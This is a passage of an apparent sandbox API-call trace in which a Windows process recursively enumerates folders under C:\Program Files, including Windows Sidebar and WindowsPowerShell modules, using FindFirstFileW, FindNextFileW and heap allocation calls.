	[0158.457] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0158.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0158.458] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar") returned 32
	[0158.458] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0158.458] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.459] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0158.459] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.459] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets") returned 40
	[0158.459] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0158.460] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.460] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92af7c3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0158.460] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0158.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0158.460] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1
	[0158.460] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.460] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Shared Gadgets") returned 47
	[0158.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Shared Gadgets\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0158.461] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.461] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0158.461] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0158.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0158.461] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0
	[0158.461] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0158.461] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0158.461] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1
	[0158.461] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0158.461] lstrlenW (lpString="C:\\Program Files\\WindowsApps") returned 28
	[0158.461] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="\xd7e0\x54\x0b")) returned 0xffffffff
	[0158.462] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4540068 | out: hHeap=0x4f0000) returned 1
	[0158.462] FindNextFileW (in: hFindFile=0x5dd6c0, lpFindFileData=0x41bfa7c | out: lpFindFileData=0x41bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1
	[0158.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4540068
	[0158.462] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell") returned 34
	[0158.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\*", lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd480
	[0158.516] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.517] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1
	[0158.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.517] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration") returned 48
	[0158.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0158.518] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502c09b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.518] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Registration", cAlternateFileName="REGIST~1")) returned 1
	[0158.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0158.518] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration\\Registration") returned 61
	[0158.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Registration\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0158.519] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.519] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502cf82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0158.519] FindClose (in: hFindFile=0x5dd040 | out: hFindFile=0x5dd040) returned 1
	[0158.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0158.520] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1
	[0158.520] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0158.520] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema") returned 55
	[0158.520] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Configuration\\Schema\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd4c0
	[0158.520] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.521] FindNextFileW (in: hFindFile=0x5dd4c0, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0158.521] FindClose (in: hFindFile=0x5dd4c0 | out: hFindFile=0x5dd4c0) returned 1
	[0158.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0158.521] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0
	[0158.521] FindClose (in: hFindFile=0x5dd780 | out: hFindFile=0x5dd780) returned 1
	[0158.521] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x4f0000) returned 1
	[0158.521] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x41bf800 | out: lpFindFileData=0x41bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1
	[0158.522] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4520058
	[0158.522] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules") returned 42
	[0158.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd240
	[0158.524] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.524] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x41bf584 | out: lpFindFileData=0x41bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1
	[0158.525] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4570080
	[0158.525] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation") returned 84
	[0158.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd780
	[0158.525] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.525] FindNextFileW (in: hFindFile=0x5dd780, lpFindFileData=0x41bf308 | out: lpFindFileData=0x41bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1
	[0158.527] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45b4050
	[0158.529] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1") returned 90
	[0158.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*", lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd040
	[0158.541] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.541] FindNextFileW (in: hFindFile=0x5dd040, lpFindFileData=0x41bf08c | out: lpFindFileData=0x41bf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0158.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45c4058
	[0158.541] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics") returned 102
